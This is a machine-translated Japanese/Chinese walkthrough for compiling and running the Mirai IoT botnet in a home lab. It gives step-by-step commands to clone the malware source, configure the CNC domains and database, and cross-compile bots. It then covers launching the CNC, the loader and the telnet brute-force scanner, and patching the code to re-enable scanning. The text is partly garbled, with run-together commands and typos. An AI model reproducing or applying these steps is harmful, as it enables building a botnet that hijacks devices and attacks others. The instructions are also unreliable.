1.準備
1. MiraiはCとGoの2つのプログラミング言語を使用し、データベースを使用してデータを格納するため、事前にソフトウェアをインストールするには、次のコマンドが必要です。
sudo apt-get install git
sudo apt-get install gcc
sudo apt-get install golang sudo apt-get install electric-fence sudo apt-get install mysql-server mysql-client
2.ソースコードをダウンロードします
git clone https://github.com/jgamblin/Mirai-Source-Code
3.パラメータを変更してCNCを構成する
cd mirai/tools && gcc enc.c -o enc.out //编译enc可执行文件,用于ip地址异或
./enc.out string cnc.changeme.com //会返回一串“\x”字符串 (其实就是加密了 cnc.changeme.com) ./enc.out string report.changeme.com //会返回一串“\x”字符串
tables.c
ファイルの18行目と21行目にある「\ x」文字列と別のパラメータをそれぞれ置き換えます
2つのパラメーターを変更することを忘れないでください!(\ x文字列とそれに続く長さのパラメータ)
4.データベースを構成する
cd ../../scripts //进入script目录
gedit db.sql //编辑大db.sql文件
追加use mirai;如下图
service mysql start //启动Mysql 服务
cat db.sql | mysql -uroot -proot
mysql -uroot -proot //以用户名和密码都是`root`登录数据库
INSERT INTO users VALUES (NULL, 'mirai-user', 'mirai-pass', 0, 0, 0, 0, -1, 1, 30, ''); //添加的用户 exit //退出
変更時のmirai/cnc/main.go
ユーザー名とパスワードは設定したものと同じです。以下に示すように、変更後
5.クロスコンパイル環境を構成する
cd .. && mkdir cross-compmile-bin //这里是在`Mirai-Source-Code`目录下新建
cd cross-compile-bin
次の11個の圧縮パッケージをダウンロードします
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2 wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2 wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2 wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2 wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2 wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2 wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2 wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2 wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2 wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2 wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2
(遅いかもしれません。ここに良いものを入れます。リンク:https
://pan.baidu.com/s/1Z89uaV7boW2SRjIv6Y0Iig抽出コード:7o34)
cd ../scripts
sudo ./cross-compile.sh
コンパイルプロセス中に、mysqlをインストールするかどうかを尋ねるプロンプトが表示されます。
gedit ~/.bashrc //打开环境变量
以下を最後に置きます
export PATH=$PATH:/etc/xcompile/armv4l/bin
export PATH=$PATH:/etc/xcompile/armv5l/bin
export PATH=$PATH:/etc/xcompile/armv6l/bin export PATH=$PATH:/etc/xcompile/i586/bin export PATH=$PATH:/etc/xcompile/m68k/bin export PATH=$PATH:/etc/xcompile/mips/bin export PATH=$PATH:/etc/xcompile/mipsel/bin export PATH=$PATH:/etc/xcompile/powerpc/bin export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin export PATH=$PATH:/etc/xcompile/sh4/bin export PATH=$PATH:/etc/xcompile/sparc/bin export GOPATH=$HOME/go
source ~/.bashrc //刷新环境变量
6. CNCとボットをコンパイルする
go get github.com/go-sql-driver/mysql
go get github.com/mattn/go-shellwords cd ../mirai ./build.sh debug telnet cd ../loader ./build.sh
この時点で、環境は完全に構成されています。
2.
デバイスの説明:
コンピューターA:最初に感染したデバイスとして。ポート48101で./mirai.dbg
スキャンとブラストを実行します。
コンピューターB:CNCおよびローダーとして。
CNCの場合:ポート23と101 ./cnc
で攻撃コマンドを実行し、ボットとの接続を維持します。
ローダー:ポート48101の./scanList
継続的な監視。
接続状況:
1パソコンA、Bが寮のLANにwifiで接続されています。
2カメラAおよびBは、スイッチを使用して寮のルーターに接続されています。
最終的な目標は、4つのデバイスが同じネットワークで相互に接続されるようにすることです。
3.テスト
1.
cncの起動は/debug/cnc
ディレクトリの下で実行されるため、少し調整が必要ですが、絶対ソースはソースコードに記述されています。(以下に示すように)
そこで、次のmirai
ディレクトリにprompt.txt
移動しました/debug/cnc
。
示されているように
2. CNC(コンピューターB)を起動します。
go build -o debug/cnc cnc/*.go //在mirai 目录下运行
./debug/cnc
次のように取得します。
新しいターミナルを開いて接続を試みます(管理者権限が必要な場合があります)
telnet cnc.change.com 23
次のプロンプトが表示されたら、Enterキーを押し、ユーザー名とパスワードを入力してログインします
ログインが成功したことを示すために、下の図のフィードバックを入手してください!
3ローダーを起動します(コンピューターB)
cd mirai/debug
sudo ./scanListen
ポート48101を見ると、ポートがプログラムを実行していることがわかります。
netstat -lput // 查看端口指令
4スキャンプログラム(コンピューターA)を
起動しますソースコードはデフォルトでデバッグモードでスキャナー機能をオフにするため、bot / main.cの157行目と162行目にコメントを付けて実行できます。
次に、再コンパイルして実行
し、mirai
ディレクトリで次のように実行します
./build.sh debug telnet
mirai/debug
ディレクトリで次のように実行します(ここでは管理者権限を使用する必要があることに注意してください)
sudo ./mirai.dbg
次のようにスキャンを開始します。
5コントロールスキャンip
ソースコードはランダムにブラスト用のipを見つけるため(mirai/bot/scanner.c
674行目から)、コードを変更した後、IPアドレススキャンを一時的に修正できます。変更後、最初の桁は「10」に固定され、結果は次のようになります。
参照:
ソース:亜鉛ニュース